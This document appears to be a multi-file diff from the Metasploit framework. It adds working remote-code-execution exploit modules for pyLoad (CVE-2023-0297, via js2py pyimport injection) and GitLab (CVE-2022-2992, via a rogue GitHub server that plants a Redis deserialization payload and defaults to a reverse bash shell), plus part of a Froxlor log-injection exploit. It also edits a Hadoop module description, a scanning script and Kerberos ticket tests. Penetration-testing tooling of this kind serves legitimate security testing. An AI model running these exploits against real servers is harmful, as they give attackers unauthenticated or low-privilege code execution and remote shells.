change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
|
||||
end
|
||||
else
|
||||
print_error('did not inject payload successfully')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
|
||||
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')
|
||||
|
||||
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
||||
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
else
|
||||
print_error('Please enter valid target')
|
||||
end
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
# Original footer.html.twig file
|
||||
footer_html_twig = <<~EOF
|
||||
<footer class="text-center mb-3">
|
||||
<span>
|
||||
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
|
||||
{% if install_mode is not defined %}
|
||||
{% if (get_setting('admin.show_version_login') == '1'
|
||||
and area == 'login') or (area != 'login'
|
||||
and get_setting('admin.show_version_footer') == '1') %}
|
||||
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
© 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
|
||||
{% if install_mode is not defined %}
|
||||
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
|
||||
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
|
||||
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
|
||||
{% endif %}
|
||||
</span>
|
||||
|
||||
{% if lng('translator') %}
|
||||
<br/>
|
||||
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
|
||||
{% endif %}
|
||||
</footer>
|
||||
EOF
|
||||
if session.type == 'meterpreter'
|
||||
print_status('Deleting tampered footer.html.twig file')
|
||||
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
|
||||
session.fs.file.rm(filename)
|
||||
fd = session.fs.file.new(filename, 'wb')
|
||||
print_status('Rewriting clean footer.html.twig file')
|
||||
fd.write(footer_html_twig)
|
||||
fd.close
|
||||
else
|
||||
print_status('Cleaning tampered footer.html.twig file')
|
||||
# Remove all log lines added to footer.html.twig by the exploit
|
||||
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
|
||||
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
|
||||
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
|
||||
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
super(update_info(info,
|
||||
'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
|
||||
'Description' => %q{
|
||||
This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong
|
||||
authentication, via Hadoop's standard ResourceManager REST API.
|
||||
This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.
|
||||
Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
@@ -26,8 +26,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
|
||||
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
|
||||
# Note, there will never be a CVE for this issue, unless something radical changes in the CVE inclusion rules.
|
||||
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'],
|
||||
# Note, there will never be a CVE for this issue, since this is a misconfiguration by the administrator rather than a vulnerability in the software.
|
||||
# Hadoop installations should always configure Kerberos authentication before being exposed to the network,
|
||||
# since the default configuration does not require authentication.
|
||||
['URL', 'https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/stopwatch'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pyLoad js2py Python Execution',
|
||||
'Description' => %q{
|
||||
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
|
||||
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
|
||||
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
|
||||
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"
|
||||
service runs on port 9666 and can be used remotely without authentication.
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # metasploit module
|
||||
'bAu' # vulnerability discovery
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2023-0297' ],
|
||||
[ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],
|
||||
[ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],
|
||||
[ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit
|
||||
],
|
||||
'DisclosureDate' => '2023-01-13',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux', 'python'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper
|
||||
}
|
||||
],
|
||||
[
|
||||
'Python',
|
||||
{
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Type' => :python_exec
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(9666),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
sleep_time = rand(5..10)
|
||||
|
||||
_, elapsed_time = Rex::Stopwatch.elapsed_time do
|
||||
execute_python("import time; time.sleep(#{sleep_time})")
|
||||
end
|
||||
|
||||
vprint_status("Elapsed time: #{elapsed_time} seconds")
|
||||
|
||||
unless elapsed_time > sleep_time
|
||||
return CheckCode::Safe('Failed to test command injection.')
|
||||
end
|
||||
|
||||
CheckCode::Appears('Successfully tested command injection.')
|
||||
rescue Msf::Exploit::Failed
|
||||
return CheckCode::Safe('Failed to test command injection.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
if execute_command(payload.encoded)
|
||||
print_good("Successfully executed command: #{payload.encoded}")
|
||||
end
|
||||
when :python_exec
|
||||
execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(payload.encoded)}\"));")
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
|
||||
# use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues
|
||||
# using popen instead of system ensures that the request is not blocked
|
||||
javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"
|
||||
execute_javascript(javascript)
|
||||
end
|
||||
|
||||
def execute_python(python)
|
||||
# use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues
|
||||
javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(python)}\"));"
|
||||
execute_javascript(javascript)
|
||||
end
|
||||
|
||||
def execute_javascript(javascript)
|
||||
# https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),
|
||||
'vars_post' => {
|
||||
'crypted' => '',
|
||||
'jk' => "#{javascript}f=function f2(){};"
|
||||
}
|
||||
)
|
||||
|
||||
# the command will either cause the response to timeout or return a 500
|
||||
return if res.nil?
|
||||
return if res.code == 500 && res.body =~ /Could not decrypt key/
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
|
||||
end
|
||||
end
|
||||
@@ -21,10 +21,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Author' => [
|
||||
'Ron Bowes', # Analysis and module
|
||||
'Frycos (Florian Hauser)' # Discovery and analysis
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2023-0669'],
|
||||
['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
|
||||
['URL', 'https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html']
|
||||
],
|
||||
'DisclosureDate' => '2023-02-01',
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -0,0 +1,256 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
include Msf::Exploit::Git::SmartHttp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab
|
||||
include Msf::Exploit::RubyDeserialization
|
||||
|
||||
attr_accessor :cookie
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
|
||||
'Description' => %q{
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
If a user attempts to import a repo from an attacker-controlled server,
|
||||
the server will reply with a Redis serialization protocol object in the nested
|
||||
`default_branch`. GitLab will cache this object and
|
||||
then deserialize it when trying to load a user session, resulting in RCE.
|
||||
},
|
||||
'Author' => [
|
||||
'William Bowling (vakzz)', # discovery
|
||||
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
|
||||
'RedWay Security <https://infosec.exchange/@redway>', # PoC
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://hackerone.com/reports/1679624'],
|
||||
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
|
||||
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
|
||||
['CVE', '2022-2992']
|
||||
],
|
||||
'DisclosureDate' => '2022-10-06',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
|
||||
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
|
||||
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
|
||||
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
|
||||
]
|
||||
)
|
||||
deregister_options('GIT_URI')
|
||||
end
|
||||
|
||||
def group_name
|
||||
@group_name ||= Rex::Text.rand_text_alpha(8..12)
|
||||
end
|
||||
|
||||
def api_token
|
||||
@api_token ||= gitlab_create_personal_access_token
|
||||
end
|
||||
|
||||
def session_id
|
||||
@session_id ||= Rex::Text.rand_text_hex(32)
|
||||
end
|
||||
|
||||
def redis_payload(cmd)
|
||||
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
|
||||
gitlab_session_id = "session:gitlab:#{session_id}"
|
||||
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
|
||||
# The command set
|
||||
# The gitlab session to load the payload from
|
||||
# The Payload itself. A Ruby serialized command
|
||||
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
|
||||
end
|
||||
|
||||
def check
|
||||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
|
||||
|
||||
vprint_status('Trying to get the GitLab version')
|
||||
|
||||
version = Rex::Version.new(gitlab_version)
|
||||
|
||||
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
|
||||
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
|
||||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
|
||||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
|
||||
)
|
||||
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
name: name,
|
||||
refs: references,
|
||||
info: [version]
|
||||
)
|
||||
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
|
||||
return CheckCode::Detected('Could not detect the version because authentication failed.')
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
return CheckCode::Unknown("#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
return unless @import_id
|
||||
|
||||
gitlab_delete_group(@group_id, api_token)
|
||||
gitlab_revoke_personal_access_token(api_token)
|
||||
gitlab_sign_out
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
print_error("#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
if Rex::Socket.is_internal?(srvhost_addr)
|
||||
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
|
||||
end
|
||||
|
||||
setup_repo_structure
|
||||
start_service({
|
||||
'Uri' => {
|
||||
'Proc' => proc do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end,
|
||||
'Path' => '/'
|
||||
}
|
||||
})
|
||||
execute_command(payload.encoded)
|
||||
rescue Timeout::Error => e
|
||||
fail_with(Failure::TimeoutExpired, e.message)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
|
||||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
|
||||
vprint_status("Session ID: #{session_id}")
|
||||
vprint_status("Creating group #{group_name}")
|
||||
# We need group id for the cleanup method
|
||||
@group_id = gitlab_create_group(group_name, api_token)['id']
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
|
||||
@redis_payload = redis_payload(cmd)
|
||||
# import a repository from GitHub
|
||||
vprint_status('Importing a repository from GitHub')
|
||||
@import_id = gitlab_import_github_repo(
|
||||
group_name: group_name,
|
||||
github_hostname: get_uri,
|
||||
api_token: api_token
|
||||
)['id']
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
|
||||
# wait for the import tasks to finish
|
||||
select(nil, nil, nil, datastore['IMPORT_DELAY'])
|
||||
# execute the payload
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, group_name),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => false,
|
||||
'cookie' => "_gitlab_session=#{session_id}"
|
||||
})
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
|
||||
end
|
||||
|
||||
def setup_repo_structure
|
||||
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
|
||||
blob_data = Rex::Text.rand_text_alpha(5..12)
|
||||
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
|
||||
|
||||
tree_data =
|
||||
{
|
||||
mode: '100644',
|
||||
file_name: blob_object_fname,
|
||||
sha1: blob_object.sha1
|
||||
}
|
||||
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
|
||||
|
||||
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
|
||||
|
||||
git_objs = [ commit_obj, tree_object, blob_object ]
|
||||
|
||||
@refs =
|
||||
{
|
||||
'HEAD' => 'refs/heads/main',
|
||||
'refs/heads/main' => commit_obj.sha1
|
||||
}
|
||||
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
|
||||
end
|
||||
|
||||
# Handle incoming requests from GitLab server
|
||||
def on_request_uri(cli, req)
|
||||
super
|
||||
headers = { 'Content-Type' => 'application/json' }
|
||||
data = {}.to_json
|
||||
case req.uri
|
||||
when %r{/api/v3/rate_limit}
|
||||
headers.merge!({
|
||||
'X-RateLimit-Limit' => '100000',
|
||||
'X-RateLimit-Remaining' => '100000'
|
||||
})
|
||||
when %r{/api/v3/repositories/(\w{1,20})}
|
||||
id = Regexp.last_match(1)
|
||||
name = Rex::Text.rand_text_alpha(8..12)
|
||||
data = {
|
||||
id: id,
|
||||
name: name,
|
||||
full_name: "#{name}/name",
|
||||
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
|
||||
}.to_json
|
||||
when %r{/\w+/public.git/info/refs}
|
||||
data = build_pkt_line_advertise(@refs)
|
||||
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
|
||||
when %r{/\w+/public.git/git-upload-pack}
|
||||
data = build_pkt_line_sideband(@packfile)
|
||||
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
|
||||
when %r{/api/v3/repos/\w+/\w+}
|
||||
bytes_size = rand(3..8)
|
||||
data = {
|
||||
'default_branch' => {
|
||||
'to_s' => {
|
||||
'bytesize' => bytes_size,
|
||||
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
|
||||
# using a simple string format for RESP
|
||||
}
|
||||
}
|
||||
}.to_json
|
||||
end
|
||||
send_response(cli, data, headers)
|
||||
end
|
||||
end
|
||||
@@ -46,9 +46,7 @@ else
|
||||
end
|
||||
|
||||
# Test and see if we have a database connected
|
||||
begin
|
||||
framework.db.hosts
|
||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
||||
unless framework.db.active
|
||||
print_error("Database connection isn't established")
|
||||
return
|
||||
end
|
||||
@@ -80,6 +78,10 @@ print_line("starting discovery scanners ... stage 1")
|
||||
print_line("============================================")
|
||||
print_line("")
|
||||
|
||||
# Temp variable to store space separated RHOSTS
|
||||
nmap_rhosts = framework.datastore['RHOSTS'].gsub(',',' ')
|
||||
run_single("set RHOSTS #{nmap_rhosts}")
|
||||
|
||||
print_line("")
|
||||
print_line("starting portscanners ...")
|
||||
print_line("")
|
||||
@@ -90,11 +92,11 @@ run_single("run -j")
|
||||
if ( nmap == 1 )
|
||||
print_line("Module: db_nmap")
|
||||
if (verbose == 1)
|
||||
print_line("Using Nmap with the following options: -v -n #{nmapopts} #{framework.datastore['RHOSTS']}")
|
||||
run_single("db_nmap -v -n #{nmapopts} #{framework.datastore['RHOSTS']}")
|
||||
print_line("Using Nmap with the following options: -v -n #{nmapopts} #{nmap_rhosts}")
|
||||
run_single("db_nmap -v -n #{nmapopts} #{nmap_rhosts}")
|
||||
else
|
||||
print_line("Using Nmap with the following options: -n #{nmapopts} #{framework.datastore['RHOSTS']}")
|
||||
run_single("db_nmap -n #{nmapopts} #{framework.datastore['RHOSTS']}")
|
||||
print_line("Using Nmap with the following options: -n #{nmapopts} #{nmap_rhosts}")
|
||||
run_single("db_nmap -n #{nmapopts} #{nmap_rhosts}")
|
||||
end
|
||||
else
|
||||
print_line("Module: portscan/tcp")
|
||||
@@ -613,7 +615,7 @@ framework.db.workspace.hosts.each do |host|
|
||||
jobwaiting(maxjobs,verbose)
|
||||
|
||||
print_line("Module: titanftp_xcrc_traversal")
|
||||
run_single("use auxiliary/admin/ftp/titanftp_xcrc_traversal")
|
||||
run_single("use auxiliary/scanner/ftp/titanftp_xcrc_traversal")
|
||||
if(verbose == 1)
|
||||
infos(serv,host)
|
||||
end
|
||||
|
||||
@@ -124,10 +124,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2022-11-28 15:51:29 +0000
|
||||
Start time: 2022-11-28 15:51:29 +0000
|
||||
End time: 2032-11-25 15:51:29 +0000
|
||||
Renew Till: 2032-11-25 15:51:29 +0000
|
||||
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
@@ -157,10 +157,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2022-11-28 15:51:29 +0000
|
||||
Start time: 2022-11-28 15:51:29 +0000
|
||||
End time: 2032-11-25 15:51:29 +0000
|
||||
Renew Till: 2032-11-25 15:51:29 +0000
|
||||
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
@@ -170,10 +170,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
|
||||
Key Version Number: 2
|
||||
Decrypted (with key: 4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326):
|
||||
Times:
|
||||
Auth time: 2022-11-28 15:51:29 UTC
|
||||
Start time: 2022-11-28 15:51:29 UTC
|
||||
End time: 2032-11-25 15:51:29 UTC
|
||||
Renew Till: 2032-11-25 15:51:29 UTC
|
||||
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
|
||||
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
|
||||
Client Addresses: 0
|
||||
Transited: tr_type: 0, Contents: ""
|
||||
Client Name: 'Administrator'
|
||||
|
||||
@@ -459,7 +459,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
|
||||
let(:expected_decrypted_aes_output) do
|
||||
expected_output = ["#{file_format} File:#{ticket_path}"]
|
||||
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
|
||||
expected_output << <<~EOF.chomp
|
||||
Primary Principal: Administrator@WINDOMAIN.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
@@ -475,10 +475,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:31:25 +0000
|
||||
Start time: 2023-01-13 14:31:25 +0000
|
||||
End time: 2033-01-10 14:31:25 +0000
|
||||
Renew Till: 2033-01-10 14:31:25 +0000
|
||||
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
@@ -488,10 +488,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Key Version Number: 2
|
||||
Decrypted (with key: 4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326):
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:31:25 UTC
|
||||
Start time: 2023-01-13 14:31:25 UTC
|
||||
End time: 2033-01-10 14:31:25 UTC
|
||||
Renew Till: 2033-01-10 14:31:25 UTC
|
||||
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Client Addresses: 0
|
||||
Transited: tr_type: 0, Contents: ""
|
||||
Client Name: 'Administrator'
|
||||
@@ -501,7 +501,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Flags: 0x50a00000 (FORWARDABLE, PROXIABLE, RENEWABLE, PRE_AUTHENT)
|
||||
PAC:
|
||||
Validation Info:
|
||||
Logon Time: 2023-01-13 14:31:25 +0000
|
||||
Logon Time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
Logoff Time: Never Expires (inf)
|
||||
Kick Off Time: Never Expires (inf)
|
||||
Password Last Set: No Time Set (0)
|
||||
@@ -538,7 +538,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Logon Domain Name: 'WINDOMAIN.LOCAL'
|
||||
Client Info:
|
||||
Name: 'Administrator'
|
||||
Client ID: 2023-01-13 14:31:25 +0000
|
||||
Client ID: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
Pac Server Checksum:
|
||||
Signature: 81a20da731b3b9bdd2e756dc
|
||||
Pac Privilege Server Checksum:
|
||||
@@ -550,7 +550,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
let(:expected_encrypted_aes_output) do
|
||||
expected_output = ['No decryption key provided proceeding without decryption.']
|
||||
expected_output << "#{file_format} File:#{ticket_path}"
|
||||
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
|
||||
expected_output << <<~EOF.chomp
|
||||
Primary Principal: Administrator@WINDOMAIN.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
